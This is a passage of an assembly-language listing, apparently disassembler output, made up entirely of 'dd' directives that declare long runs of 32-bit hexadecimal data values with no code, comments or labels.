		dd 839A83Bh, 2424E59Dh,	0A018A430h, 96199005h, 8EAD4129h
		dd 0CDC9C8D6h, 17D88000h, 4F408BE3h, 0DDAA2604h, 6560A531h
		dd 0F94B9D01h, 0B97034FEh, 756BD3A5h, 12706110h, 9FF3B0ECh
		dd 0C93D194Bh, 2FB7CCFFh, 4E9F9497h, 8E7ABFBEh,	0D9019109h
		dd 301D66D5h, 1B2508E8h, 900409F5h, 0D2A22EDAh,	198039ECh
		dd 0FE0BD3Fh, 0D9318C09h, 22B0445h, 0B0F6B6BAh,	0FC579E12h
		dd 481C7571h, 0DF14E139h, 0E928DA90h, 28C90047h, 4204A732h
		dd 584C9A25h, 668877DDh, 7D4E2CB9h, 54B3052Ah, 0E07FE690h
		dd 0A5A625h, 0B04C5968h, 0BD039F32h, 100C8D2Eh,	38B6BF50h
		dd 25794DCAh, 0DCE50CC6h, 6C52CD92h, 0DE429AFFh, 30BD9D2h
		dd 6D4B42C5h, 2B78E0BEh, 3341E99Dh, 92FC352Eh, 90041A7Dh
		dd 31199087h, 0AA85F93h, 0DF76714Eh, 0DA8BC212h, 0E55EF990h
		dd 7108BACAh, 0E6C22508h, 0F1277957h, 4BAF1815h, 81FDCC9Eh
		dd 0DDFBC704h, 5DF03615h, 8009D9Ah, 1CB58589h, 65098AB1h
		dd 4043CF1Fh, 6153CD9Ah, 0CFC92028h, 8965BD2Ch,	43E3CCA5h
		dd 40BB4B35h, 0C33BCE06h, 0E6005302h, 71E4F970h, 1FC18160h
		dd 0C01043DDh, 314E7DBEh, 0AE97617Ch, 3E5851E5h, 0F222B512h
		dd 805D7FE5h, 2331844Dh, 0E190EBBDh, 4C344110h,	0D6904B58h
		dd 288D0DBAh, 0B690441Dh, 0D3C8A52Ch, 0C8182BF5h, 6DE2F860h
		dd 0FA1FD228h, 5DFE58C9h, 273FB079h, 0B1E4608Bh, 1DF69D18h
		dd 0E4020969h, 5123B064h, 27071249h, 9EEA1680h,	0AAA8123Fh
		dd 0B3DAF0D9h, 0D6D25E4Bh, 4BCA6385h, 1BD49236h, 511F32Ah
		dd 24E05225h, 7369E95Bh, 42D115h, 58C0FCADh, 749753A4h
		dd 0C8C44909h, 0DD243300h, 38137D73h, 566D00F2h, 34F951Ch
		dd 2A32BC28h, 0A475E676h, 0F8BC5BF5h, 23843B88h, 9AA119BDh
		dd 3341A5FDh, 842160FEh, 8541B039h, 0AE450E44h,	81C49CB3h
		dd 0F5538E23h, 4DA6F4h,	1523FE2Dh, 0D1D9259Bh, 0BFF2E209h
		dd 8E97B5Bh, 0B72552A9h, 796A0079h, 77BAD763h, 0DD60AE27h
		dd 27B18910h, 0C5209EB6h, 0FD2E3D25h, 18111DB7h, 27340F80h
		dd 10B58679h, 896887h, 0E0E82D3Fh, 829F7580h, 0B9162B98h
		dd 0DEA70837h, 4C9C5EA0h, 98998507h, 81A0B72Eh,	278ACADFh
		dd 0E400390h, 0C959BD2Bh, 739477E1h, 0C55D02DCh, 91CFF529h
		dd 0DEE8F889h, 0D19BC02Bh, 72896B78h, 491F629Dh, 0D74FCD2h
		dd 5DC67Ah, 0ECB6405Ch,	9B520805h, 0F0D6A807h, 0FC717BE7h
		dd 13D9801Fh, 0C02323Ah, 0CD1DC020h, 92EF008Ch,	0A9D423AFh
		dd 8B0CB0D7h, 0D6525FD8h, 3C5B8989h, 0EDE3D27Fh, 1722B459h
		dd 27D61797h, 73405ECDh, 19510B3h, 9DEB70Fh, 2F2729BDh
		dd 25F2B439h, 2CD38209h, 5298B805h, 0DC114B01h,	0E527B37Ah
		dd 82A7DD89h, 830259FFh, 435E1769h, 0C5A5E071h,	2519B7FDh
		dd 0D0C0E6C0h, 60399497h, 81524FCDh, 4B2EFBD3h,	0C5251795h
		dd 2B82193Ch, 0F28A3060h, 26952F98h, 200E611Bh,	604B1C41h
		dd 25B240EBh, 3912DE8Eh, 7DFB6200h, 0F06712Bh, 0C1602D2h
		dd 1D4B467Ch, 3725235Eh, 15E200C9h, 7C867EA4h, 5F4EAEE0h
		dd 70E0388h, 3BB11F51h,	78AA30ACh, 7002EF9Ah, 2C7131B4h
		dd 205D5ED4h, 74925C8h,	134439E6h, 0DDBA4AB7h, 0A8D43929h
		dd 2BAC2735h, 0B32564E6h, 4C14E60Ch, 198059E8h,	0D2CC493Eh
		dd 0B764E50Eh, 8529E310h, 132AEE6Dh, 0C761605Fh, 898FC1FAh
		dd 0A3EB1404h, 87C1F02Ah, 0ED0744E9h, 0B7EF9703h, 4F295335h
		dd 0BD6BBB52h, 60B2800h, 0A1689B71h, 906C6F00h,	0BBC1B560h
		dd 0CC2AF6E3h, 5EB881C2h, 6FB2940Bh, 0A5850257h, 0B35B291Ah
		dd 1FAD9D04h, 0B8D98B04h, 10E8C9B5h, 0FFE578h, 0EFA5B75Fh
		dd 54988F15h, 0D3427201h, 4A8AC75Dh, 0BA1649E4h, 44FD3E2h
		dd 0EA01C87Ah, 0CDF0DBE6h, 1897E3CBh, 97A7B78Ah, 15E841Ah
		dd 3A9EE2DCh, 8F9D7696h, 120E53E6h, 4B9CB28Eh, 4066BBFh
		dd 0DAFD8631h, 0DBD2B5B8h, 6B5D8524h, 0E7FAC6C4h, 60AE4F97h
		dd 99561091h, 0C0010B25h, 801FE97Bh, 0D49D0689h, 0F728D668h
		dd 0D617FB9Fh, 2E041DD8h, 0BA40058Bh, 1B8F88B6h, 4D8D3108h
		dd 64611233h, 0ACEE84E2h, 0E0B5AE7h, 4E2B58DFh,	7230FA50h
		dd 0F6AACE7Ah, 8DF54B96h, 75292FA9h, 0C9466631h, 0D0B5D44Dh
		dd 0A506521Fh, 0EA5E1B1Ah, 5042D668h, 644652h, 669025C0h
		dd 0C8C7BB13h, 0B0E3CE03h, 0D855D5A3h, 0F074D98Eh, 59BF3DAAh
		dd 5B2E0809h, 0AC8DA26Bh, 951A20A6h, 0DE0FCC99h, 90B52DE4h
		dd 3470C3Eh, 19261D5h, 0E5C0F554h, 30007D3Eh, 2A0FEE0Bh
		dd 9E1BE467h, 0EBB0F6Dh, 2429F724h, 26F63E94h, 955E39E0h
		dd 5970B2B0h, 0F9AD389Dh, 0A8565061h, 851E975Fh, 7E91749Dh
		dd 42A76000h, 6787AF36h, 2ECA4C3Bh, 2AB7895Ah, 3FAD8577h
		dd 96E93B20h, 6267A512h, 706CBB5Ch, 0CC0011A4h,	0F24F9EBAh
		dd 4F599D23h, 296FBA13h, 0B26A7B00h, 81E7B72Fh,	5D97F304h
		dd 92B85B3Ah, 812049A2h, 296CCAE3h, 62C95F3Eh, 0DFB0436h
		dd 357F3DD1h, 1D960A2Fh, 1910A5FEh, 0DC00CA98h,	529E2703h
		dd 0BFB03D41h, 0FBBF50B0h, 66421897h, 28A425BBh, 1764562h
		dd 964918F6h, 195198BFh, 40170E89h, 0C7E3B394h,	51E66000h
		dd 43063DA7h, 9DE94B2Eh, 0A0147648h, 5EB53101h,	86DC1BF5h
		dd 3175A6E1h, 9D67688Bh, 69518F6Dh, 0A24D7796h,	0A633F760h
		dd 6DBF12EBh, 98DA641h,	4E2BF19Dh, 445D0022h, 0D0718D5Bh
		dd 0D709BBDh, 827FC900h, 0B3493F85h, 0B69F0986h, 3C71619Dh
		dd 58B950B2h, 2DCD8525h, 0DA40A46Dh, 0E8DE46E9h, 0B509092Ch
		dd 0E712E49h, 50187B69h, 0B5128938h, 8E7291Dh, 0B36E5Ah
		dd 0B3E8465Bh, 16C5FEF7h, 826678Ch, 1AA56DBCh, 0F051B1h
		dd 5773CF67h, 63004BBCh, 41F5E369h, 2514EFFEh, 1DC286D0h
		dd 8567462h, 0CA315232h, 6CF154AFh, 2B50E118h, 0B691B866h
		dd 9144BAFh, 0D7F380D8h, 9AF10009h, 5E181CF9h, 0E40FC800h
		dd 6143EF03h, 699BB670h, 0B79DE87Fh, 2C1F0016h,	0AC22A18Ah
		dd 8702B46Eh, 0C88D9052h, 0FE734296h, 65D7413Dh, 81CFC8A6h
		dd 0ACB0B97Dh, 8A5AF025h, 442F7F7Eh, 2D2102C6h,	0FADAF46Ah
		dd 0BC00FE79h, 5ED17D79h, 58F7003Dh, 0C604EB55h, 86004532h
		dd 80B535C9h, 975B78CFh, 2BF5C1B1h, 0B6BF9434h,	0C8F2B0A9h
		dd 0FC5700B3h, 893AF5D2h, 1F4ADD8Dh, 4E25B7CEh,	230BDFDh
		dd 0A5A42A7Ah, 6B05FCh,	8B966ACh, 44BB04FFh, 0C5370A62h
		dd 943BFC26h, 0A0B4001Eh, 443BC974h, 0BD6709A9h, 0CFF0E018h
		dd 4435F4Ch, 1B06C012h,	15AC45B9h, 5A983E8Ch, 2D2D39Dh
		dd 870F7671h, 0DF64FAF6h, 80C37FACh, 0BD880BCBh, 14972821h
		dd 0E19D12E3h, 0D34CB929h, 0D330DAEAh, 98B380AFh, 0A8270CA2h
		dd 0FA057D1h, 0DD60E45Eh, 0A0F65700h, 0B464C426h, 0B9951089h
		dd 655F2530h, 0E95A15B9h, 1A142CF8h, 48AD47Ch, 2DCD9501h
		dd 0F97D0913h, 0EDA7DD5Bh, 0BC754087h, 0AD17BB61h, 8FE5C61Eh
		dd 4AE8A330h, 4AD7CFC4h
		dd 0AE13526Ah, 0DEEB0BCh, 880FDB12h, 4F0057CAh,	7CF54437h
		dd 2A011719h, 7AA7485Fh, 92822440h, 0FEE9DD09h,	0BFBD0057h
		dd 126BD773h, 4C18B46h,	0EF311979h, 9A92A2A2h, 0C8E5806Bh
		dd 27D72DFCh, 135D7354h, 158817BFh, 0B79BC145h,	8957C03h
		dd 0B7A791BFh, 0F0A4831Ah, 206A0483h, 6C66B712h, 7460040h
		dd 8966D656h, 4125217Dh, 0E41F8972h, 0B1A007D8h, 0B0840AF6h
		dd 825CAD21h, 5F32F41Bh, 90040B6Ah, 75448D0Fh, 1CE9BD14h
		dd 35205B7Dh, 0B2B0CCh,	0E3207BCDh, 97909CE2h, 0C9BBB807h
		dd 6AC5E623h, 2F1DAF6h,	0FFBA4093h, 75ED5FCh, 0CC844FDBh
		dd 4EE4AC72h, 146BBAh, 0ACEF0651h, 509CC805h, 4AB9DB76h
		dd 0F429602Dh, 2301E42Fh, 0B957863Bh, 0D9545F6Eh, 0A711D248h
		dd 0E900105Dh, 0FC6C3F31h, 6757D407h, 0A848E44Bh, 41C34C92h
		dd 38C965C4h, 0CFE880E0h, 3F0379CAh, 86AF2EB2h,	0D751A992h
		dd 9D2B6002h, 80186821h, 42AA5EC3h, 3069B5C7h, 7084E592h
		dd 0FF6DD471h, 1BA202F6h, 0FBCB30h, 0F2AE7D64h,	0B70FB333h
		dd 386ED948h, 468DCB9Eh, 0AC64B93Eh, 494500B7h,	99E6D8B9h
		dd 0D11BFFBBh, 0D468A7B3h, 94A366B8h, 0B0373F46h, 403F535h
		dd 7FD754Eh, 998381D7h,	0C056022Ah, 275BFA28h, 35D7026Ah
		dd 5EEA8CEh, 0BD896987h, 51A8D2FDh, 0F520FAF8h,	5F612F01h
		dd 7B24B246h, 48008790h, 301CC3BDh, 3EC5B0B0h, 2206C79Fh
		dd 988A03B9h, 5C1005ABh, 33040219h, 0B901C19Dh,	0A047D23Ch
		dd 0C2947D03h, 9E03CB8h, 4D95D5FDh, 50B3E0DCh, 9E2615FCh
		dd 0A260CC70h, 7DE68593h, 4E8E0FECh, 9E2FCD5Ah,	2B71B729h
		dd 21065092h, 0C1D516C6h, 47B07AAEh, 1B132E31h,	1B23226Ah
		dd 1123600h, 2C9BC7D4h,	9BD4E8Fh, 3E710229h, 43204DCBh
		dd 0FE1C267h, 0C44B388Ch, 76AF2091h, 0A9201848h, 0B76A7D1Ch
		dd 5125B5B7h, 6D0E6BBFh, 76F308Bh, 0E2FE3744h, 0E5D75E7Ch
		dd 836943B1h, 4B67622Eh, 7FBB5320h, 7BE70C15h, 0F9FAB05Fh
		dd 0C470E627h, 61751E62h, 3B138032h, 0CFD44996h, 564D0600h
		dd 0EF8058BCh, 0E45F132Fh, 0B8BD1C71h, 4D21BB4Fh, 0AC040116h
		dd 0F94C809Ah, 2539CC9Eh, 7CC256B7h, 55DF7181h,	75202EA9h
		dd 41FDB501h, 4C067C26h, 0F70B27F8h, 7E58D6A9h,	0FF1409B7h
		dd 49859A60h, 0C82BE7C4h, 2FDA40E1h, 0E9B71272h, 0C8E91891h
		dd 38D7816Bh, 4EE49284h, 5503988Dh, 853F2765h, 0C8BFAE23h
		dd 0B0162EE5h, 6071945Ch, 44C96785h, 92FC9700h,	7BBD70EEh
		dd 6E0B1BB0h, 8C852E59h, 0D700264Ah, 0C23DCB67h, 62D137B2h
		dd 0CB9C2D0h, 13648C5Ch, 21CE156h, 3121695Fh, 0F5812D85h
		dd 8D8B5F51h, 600392FFh, 7CC716A0h, 97CB7361h, 50496F11h
		dd 26F9327Fh, 0A5503C7Fh, 52B6FE1Eh, 3DE28A40h,	81110053h
		dd 0EE05626Bh, 0B90087E1h, 0BF82E93Eh, 1365E7FAh, 0B141BD09h
		dd 24D34461h, 0A96BC199h, 870F002Bh, 0BD0CA006h, 0F20E4ADDh
		dd 71CD8466h, 0C0E38100h, 34416C44h, 0C4415692h, 42E6FA10h
		dd 0AC301DA2h, 0C894124Dh, 7D7C915h, 0B4B932A2h, 9D0BEBA0h
		dd 0A5C83431h, 0B46A8012h, 3B69CB23h, 3714A402h, 0C0E9DF73h
		dd 0E6F58010h, 41099704h, 52147484h, 4686CCh, 7BB25E8Ch
		dd 0CE7D447Fh, 0B4887E00h, 0DA8A8389h, 128B90FCh, 0B2E297CFh
		dd 16E5A6Ah, 875F4F04h,	2070E857h, 3F849F31h, 0C9F25375h
		dd 0FBB1DF00h, 9FE42BFAh, 0D0C23B1Dh, 5A04A257h, 30827AAAh
		dd 5ACC48B5h, 4D2F661h,	0B06FBDBBh, 0F463B846h,	0F4B914EDh
		dd 0EB00F4A1h, 0CBBCD7C5h, 4AE9B531h, 246F419h,	445B388h
		dd 0B99113BFh, 9681B827h, 0E7AD1485h, 9C6BD6h, 6AFCF73h
		dd 48CA892Dh, 0ED106813h, 0C6F52525h, 8C959592h, 9F8F44A5h
		dd 96808CD6h, 0F41E8FEBh, 2B2C026Eh, 54E89106h,	45018879h
		dd 0DA5571F8h, 4EDB07CCh, 828CC457h, 8E5C5B01h,	29136451h
		dd 1D25A5E9h, 0ABC3439h, 80D97004h, 0AAB894C7h,	399604D2h
		dd 0E1FF0420h, 0B024B6EEh, 48F673C0h, 0D418A294h, 5CE1E28Ah
		dd 0C561D325h, 0D3FD10CBh, 0C004CFBFh, 6577F722h, 25AC9806h
		dd 97907C9h, 9659E5C6h,	0CB6525BDh, 0FC219F1Ah,	9302DCDFh
		dd 0D98BF9CBh, 25D1DC60h, 0C953C562h, 5CCD0B70h, 1F3BC751h
		dd 0AEC05B25h, 19708501h, 0AE895A8Ch, 0DA04067Ah, 0C201B5FBh
		dd 37E0D8Eh, 5AF05B25h,	2EA0C938h, 561A8869h, 7B7BEBDFh
		dd 5AD01450h, 32BCC1FCh, 0C0D2283Ch, 42176140h,	86A10046h
		dd 558153EDh, 2048C6Ah,	0E14E9776h, 902D8DE8h, 1DC5FE6Dh
		dd 4E34AB80h, 6A13255Bh, 0E87816D3h, 4BA37395h,	9E8B206h
		dd 80A21102h, 5F45C52Bh, 0DF901FDh, 0FBAB666h, 15313F8Fh
		dd 5B02254Dh, 99030D51h, 0E0212DEEh, 7AF9E9Ah, 6268D98Ah
		dd 66DEC026h, 124B3ABFh, 0DD9D0DC0h, 31210430h,	0AD26B195h
		dd 0C5E6D211h, 0EC0C26E0h, 30A9A0C4h, 6BDC2DAEh, 0F113546Ah
		dd 43AC30E6h, 1F48ADCh,	0FE373900h, 75A97205h, 18E5037Eh
		dd 5EE99878h, 2FF10FCh,	0B3522DF7h, 5CA0E210h, 0B7D7A724h
		dd 6D1E0B02h, 644010BAh, 0CC4B7BD7h, 812B4BCDh,	1708552Eh
		dd 0D161D673h, 405E56B5h, 0BB347380h, 93022CF6h, 0F09A26Fh
		dd 80228182h, 982BD9E3h, 8ADD06F4h, 0E5290212h,	9579A043h
		dd 23B416C7h, 0BAC364AEh, 0CE12046Ah, 0FD5E096h, 0B1528A5Bh
		dd 1091A412h, 0A0C0D0BBh, 0AA964D5Fh, 537137BCh, 0A0179B97h
		dd 0BA998D89h, 685B021Dh, 71EB6CDBh, 58251EF4h,	7A6FE2C4h
		dd 7812BBF4h, 0D9022876h, 0B02D37FEh, 69FD5C0Dh, 4800C8E4h
		dd 683865Fh, 459EFB9h, 994B62A9h, 0B4C48450h, 3909D7A0h
		dd 304AEC9Eh, 5C8D0FB7h, 0F8C66D03h, 2EE9C061h,	0E547CF2Dh
		dd 0E0AC51B4h, 737F46A2h, 8C9D032h, 6A959097h, 9D4FF6DEh
		dd 0D4F28BDCh, 1E25104Bh, 53EAE95Fh, 0C7F49825h, 81765CE8h
		dd 0BEBF1C1Ch, 0DE13E4h, 7CB0363Dh, 0BAA4918Ah,	1497FEE8h
		dd 57A4F1C4h, 0C3F16069h, 0D2009130h, 9A73A4F8h, 0E19E108h
		dd 295776C2h, 9AB3F454h, 9D334705h, 23F8213Dh, 12EB1B1h
		dd 252BEFB7h, 0BC60B9D1h, 506D27F8h, 3134117Fh,	82281170h
		dd 5EDA3255h, 0B7AC42C8h, 0FA4E9F4h, 0E4A0FB13h, 6869EFD9h
		dd 0B00038B8h, 4D7B182Eh, 97F6E780h, 38871FB1h,	4324D3F2h
		dd 89CF5DACh, 39162D84h, 142E6A7Bh, 118557E3h, 0DD4A26D5h
		dd 4CAC3F5Ah, 920405FCh, 0EE7E3C7Dh, 5CE43382h,	1846D65Ch
		dd 3816C94Fh, 627D80D8h, 0B07003D7h, 4B2F9863h,	0DAA975A4h
		dd 0A03C8055h, 95D19D23h, 13968B66h, 598800DCh,	0CD304FACh
		dd 66B0FD01h, 9522F520h, 8D62958Fh, 0F91426B5h,	852F09D8h
		dd 54EF8100h, 8113FFF9h, 4A7CFE0Fh, 9B415F40h, 0AF2A9260h
		dd 0B501C50Ch, 0A37577F4h, 0A3E89487h, 96582020h, 130222ADh
		dd 0C8505B57h, 0B376603Ch, 17301900h, 0FAB2D70Bh, 43081C9Ch
		dd 0E6969688h, 0E4BFE0FBh, 1EA814F3h, 100035E8h, 765AA1D2h
		dd 0EB0E72DFh, 8114288Bh, 5F559BA5h, 2D299F58h,	6D09119Dh
		dd 58A5BD59h, 979495C7h, 2BE15B70h, 5ECFFCDBh, 0E771BA80h
		dd 0ECA4E8A2h, 5C36B105h, 0D1A2F11Dh, 0D96D8700h, 1C06EC09h
		dd 3C74250Bh, 51445D5Bh, 0C0EE5258h, 0E5533126h, 4B7D00DBh
		dd 0AC8374E2h, 50125FB9h, 0DB8DAB7h, 0A4CDF525h, 0EA601864h
		dd 0A8018CF8h, 0B589F551h, 8B6B0C75h, 0B2DA4B0Ah, 38083B80h
		dd 1D13F811h, 9420820Fh
		dd 417D9D03h, 325B7005h, 21C91697h, 94918C1h, 449059E9h
		dd 78175341h, 292B27A5h, 84DA2E6Dh, 66EB3F80h, 0D90236F4h
		dd 9F355B8Ch, 445AFCC6h, 0C4F21C33h, 4E9E5517h,	6AF4EB81h
		dd 611848BCh, 0BBC1CB1Dh, 0C55D0F09h, 0A538732Ah, 7840C36Dh
		dd 0B6934E9h, 0DA8BC55Eh, 740EFD8h, 77B0BF50h, 0F04AAABFh
		dd 0AB61116h, 6EA6EE0h,	1ADBF224h, 5D29D10Ah, 3D8D163Ch
		dd 531C72C6h, 0E661C1F9h, 0FAD60BDAh, 0F8DC387Ch, 6E5C3E39h
		dd 6EBBAE9Eh, 28610848h, 65F45B18h, 0B0C08210h,	5F25F12Ch
		dd 0B70AC237h, 0D5998390h, 31B14743h, 16562ABDh, 0A2140FA5h
		dd 3FB85FF9h, 0DE74F49Fh, 0E30CCB06h, 124078AEh, 0B370D780h
		dd 515124EAh, 5FAF6919h, 0AA00A633h, 0AB477243h, 9C002721h
		dd 333B5EA7h, 1BECE32Ah, 2B830F60h, 0EAF2EF84h,	0B75F6112h
		dd 519A5BEBh, 14E9A1C2h, 5D2E6F20h, 0B0FD0034h,	76A83BBDh
		dd 600D31Dh, 8A46DD89h,	1759EA83h, 4E558531h, 9B73FFA7h
		dd 0F0F98066h, 92AE580h, 4B6CE605h, 4C442371h, 29109F50h
		dd 26A1F23h, 35D88297h,	0D1D78225h, 442100E5h, 0A7BFE5AFh
		dd 1812C7F4h, 115680EAh, 4F7EDBF0h, 146898A8h, 887A88h
		dd 0EA88390h, 1B6EBD75h, 36825600h, 0DEBC1CEFh,	0E37F04F0h
		dd 0AC0DC7E9h, 48E4B2DBh, 27BB66ACh, 0FE714AB2h, 0E2820A80h
		dd 23D5F85h, 0D82A268Eh, 0BAD594C1h, 9662B5E4h,	262788FAh
		dd 40B3A300h, 33870BE7h, 539E0636h, 96816AC8h, 21E2882Eh
		dd 0D9800F09h, 92DA95D5h, 6D1AC15Bh, 565F0229h,	0CF53C9F8h
		dd 7B18D727h, 334091BDh, 0DDDF0481h, 0AC18A57Eh, 8DE2D3B7h
		dd 0DC2E6C03h, 0A0F7CA87h, 0BA936933h, 0FB1F3B05h, 0C8E1BE18h
		dd 0FF27A362h, 6DC3254Dh, 0BF5498B5h, 58DF2F9Ch, 38574262h
		dd 73E1B2h, 0C5384C41h,	0A9B52906h, 99972F5Eh, 7EB98D77h
		dd 0C600F4BAh, 3A8F4756h, 4A858960h, 0E25B13EDh, 0C1880776h
		dd 17E06AA4h, 9E5EEFB5h, 0B6FA1203h, 901622F2h,	0F0920EEh
		dd 8510B061h, 0AC3F2DC5h, 0F6538AD1h, 5B0C3E04h, 0F627DDADh
		dd 2BDB3591h, 0DE8BD444h, 0F84732ABh, 8718AC2h,	10EF0E3Fh
		dd 132D0011h, 0CA3EA8h,	0D6BC5402h, 6BFB707Ch, 0D6362C24h
		dd 13318108h, 8A61095Bh, 1F7DD630h, 0FE7E1A83h,	9A006461h
		dd 805F4BDBh, 0F9C4404Ah, 0FE0C8AE7h, 0D199C82Bh, 321032B6h
		dd 986BE927h, 0D6B76E16h, 446F7B5Fh, 0B2014A4Fh, 0D039241h
		dd 1649F9A1h, 0B811154Eh, 859DC242h, 0F9ED0F23h, 0EB81C016h
		dd 0E2B55309h, 45E25A0Eh, 79749811h, 0C544E9DDh, 0AA953117h
		dd 252A6AE5h, 0D9AF04E0h, 88DBAC5Fh, 0D54CA52Bh, 9589FBC6h
		dd 0C01D9CC2h, 0FB9E8EE5h, 76C74902h, 403C1682h, 12398359h
		dd 0B6648F11h, 8CDA10BDh, 8808AD40h, 9D160B52h,	43EC0199h
		dd 0AA16A892h, 0B7E5F700h, 5FB931ABh, 5B70F4Ah,	992AB0A7h
		dd 85FEC777h, 3DDBB04h,	0C1AC474Dh, 88BC7B4Dh, 9D891F09h
		dd 5C202B39h, 11446925h, 0E2007FEAh, 0D4D36B60h, 248A9059h
		dd 2C2629FCh, 2A89A56Ah, 3AF418FEh, 8D17A283h, 0ED660A3Bh
		dd 0BF6680C2h, 0D22BE8A8h, 0C00F6A6h, 0F8A5F602h, 7F3D1h
		dd 0A7CDA63Dh, 335250A9h, 70B1134Fh, 7BD36D2Ah,	0A200946Ah
		dd 7D08E659h, 0F913B3EAh, 2805E3ABh, 11F69CCCh,	4FF319E0h
		dd 0C59D2B08h, 0EA42250Fh, 1F4C2FEh, 0ABBFF9AAh, 6B698937h
		dd 259D7098h, 775B3315h, 0A9BD08BEh, 19C7C30h, 0E68C5AD4h
		dd 0A974E012h, 53B35837h, 48028711h, 5CA4A7Ch, 505B2E24h
		dd 0A74ABE8Eh, 54530BE6h, 33EC8D4Ah, 0E53F003Ch, 7403BB0Fh
		dd 0E1FF265Fh, 32690966h, 4C709A56h, 6E408204h,	1812079h
		dd 951985D8h, 4E69B59Ch, 0D0487633h, 0BA096660h, 56612248h
		dd 14F75991h, 7AE01BA6h, 0C7E8EE77h, 0B5BD3308h, 0C1BB0010h
		dd 601CE05Bh, 25DC8BB6h, 0EB62B1B5h, 4ADC4FDEh,	0EAE4C485h
		dd 0F703FF6Eh, 0BD0B8817h, 3F40EB8Dh, 826839E3h, 8249776h
		dd 0B9845326h, 6BD2E6A9h, 97AD02EEh, 0D9B35EAFh, 0EACE00F4h
		dd 0FE4DBE6h, 35F1BA95h, 2F0789ABh, 357F8381h, 1417350h
		dd 64BE4DFEh, 71E85E16h, 0B8470039h, 0A33DF268h, 5001FFD0h
		dd 0B0BFB5A8h, 0D5DE4B3Ch, 681F2851h, 0AB725E46h, 2BC7255Ch
		dd 0A54A8560h, 0D354AC25h, 0D3DB7021h, 0F22AEEFCh, 3F1C5573h
		dd 34C0DAA3h, 74F4EC97h, 0F07100ADh, 1C9B6688h,	3B7441A8h
		dd 0A780F099h, 3C607D6Eh, 8E8000F3h, 5F0F49D3h,	13F0CE47h
		dd 6E5B2D25h, 0AFED97D0h, 0AC29D44Bh, 0E3DF122Bh, 126C4C2Ah
		dd 0DAB70845h, 1ADE90Ch, 0B1209D23h, 0A5129517h, 0DEA2DEh
		dd 3F65967Fh, 49A6F1E9h, 0DA78BF04h, 0A4AC3D31h, 6AFD2BC9h
		dd 609F5402h, 33299509h, 956C6EB5h, 57C04CEDh, 274830A4h
		dd 0ED580689h, 0F1EDAF25h, 0D302BDD9h, 254CC3Ch, 0ED25A145h
		dd 6A384086h, 8B95E351h, 0C037EDB7h, 7478B4A9h,	19A60100h
		dd 0E5BD8B09h, 30A7BF30h, 2DD3E066h, 85580F50h,	0F3FECF23h
		dd 4EB87CEDh, 3BA99002h, 562D6FE4h, 753D2DC2h, 8D9E4881h
		dd 4D303EF6h, 256805DAh, 1CFCDEC6h, 0D22821BDh,	40313DFEh
		dd 33EDE603h, 16C0CA2Ah, 10F0F9B7h, 68908118h, 5855B09h
		dd 1E62F905h, 5B7CEDBCh, 33B5C0FAh, 2C5A059Dh, 973101C8h
		dd 0B5BD8596h, 5F32009Dh, 53DBD340h, 90D17705h,	0E7998C0Fh
		dd 0D9BFCD00h, 9B614F5Fh, 32D380FEh, 350FAD90h,	0B81B0C8Eh
		dd 0E8B08058h, 25DE908Dh, 24C5387Ch, 29E4F4A8h,	12CF6795h
		dd 0B126E73Eh, 62AFFC1h, 1B34E9F5h, 658D0F2Fh, 0CC1D0012h
		dd 7C3C9B46h, 60549600h, 0E62DA5ADh, 1E1D9784h,	0F3FCDB79h
		dd 0C55F5C67h, 63DE41C0h, 8C055452h, 0A3E72844h, 3E6EAFh
		dd 0EA722CE7h, 9F8BAD12h, 852E5514h, 30A3B01Ch,	3A0DBC58h
		dd 0B396BA8Bh, 0E15BAC66h, 880F03EBh, 4812C215h, 1CDDDE40h
		dd 9CDAC59Fh, 0B1092165h, 0F4F8542Eh, 75C71B50h, 17BA5F09h
		dd 0D64E56F8h, 0AB021846h, 78596C3Ch, 914CB5D5h, 0EBB28018h
		dd 70F404Bh, 463DC781h,	8F96776Dh, 5078221Ch, 0AD95290Ah
		dd 350961Fh, 1C6D25BDh,	0FC9F6ACEh, 0D400D652h,	0B1F676E3h
		dd 222884Ch, 8D09EBCDh,	8F5C28DDh, 0D406565Ah, 31D72104h
		dd 29ABDD95h, 930268E8h, 0EFB0A1ECh, 1E3CABEEh,	7F8C4B78h
		dd 0BDBDEE56h, 68D4A62Bh, 19F98DE1h, 0DA3B642Eh, 35EBC04Dh
		dd 0A09C9F2Fh, 97322DC4h, 38F43812h, 9E50BDCh, 3202A120h
		dd 575C32D5h, 657229E7h, 8EA11434h, 788823F1h, 9208DE49h
		dd 0E98D99DBh, 6A08CD58h, 0BA4F948Bh, 3800183Fh, 73AC3D85h
		dd 0BA0125A2h, 9ABB665Dh, 2830531Eh, 965B09FBh,	6E050DB7h
		dd 2425EE56h, 6E28E4AFh, 94381500h, 6971E4B5h, 7A69811h
		dd 0B35192D1h, 2C707976h, 0C102CFB7h, 2EA49202h, 30AE4434h
		dd 9C773886h, 9ED71700h, 0ADC9AE82h, 9B5C01B4h,	0D48170C2h
		dd 0BD31E447h, 25C24949h, 1161C561h, 0B4F8683Ch, 419C508h
		dd 0BBE3B396h, 395FF641h, 8405104Ah, 7E11FF07h,	90D3BCE8h
		dd 18FD2D2Ch, 17792B5Bh, 0D812CE18h, 3AE7F2E5h,	6DACFC49h
		dd 0B5890D1Ch, 0C4A925D6h, 58C18BCh, 329B6C16h,	9564AA48h
		dd 28710481h, 38938F6Ah, 12B75B7Ch, 75A310A0h, 0E673300Bh
		dd 402E7E89h, 886E78BFh, 82AD2F4Ah, 198C15ACh, 0D429D9A1h
		dd 0DCC6022Fh, 7B04F481h, 0D068FE3h, 56CEC581h,	52852D2Eh
		dd 0B541FECFh, 0C2C42A4Eh
		dd 0E2E00AE6h, 7F25C4CFh, 9AE417h, 0AE9575D6h, 4D20C59Ah
		dd 943C038h, 37C18B6Fh,	0A2C19374h, 0BDC93B77h,	223F1Bh
		dd 0D08C8001h, 2519FBCEh, 0E0CEEA14h, 0BD49596h, 4C7475FFh
		dd 0EC476457h, 61249FB7h, 7F2DF1DEh, 6B8457DBh,	0C280AD96h
		dd 0DD818589h, 35AD14F1h, 287D051Fh, 5A6AF26h, 3F7830F7h
		dd 5717F702h, 56052530h, 0A902DABFh, 55D61BD8h,	0E2E0336Dh
		dd 24A8DF2Ch, 26D8BE4Ah, 0D31E12D6h, 0FB5AD5BDh, 6BF524EEh
		dd 12BA5ADBh, 91BC0EA1h, 495310h, 601D8558h, 0E583AE9Ch
		dd 0BD292E0h, 48950BBh,	0DDEED5Eh, 8652D54Eh, 0FF11403Eh
		dd 0BA78E380h, 8A1D37BDh, 128BA235h, 0D20CB9DAh, 0C785C49Ah
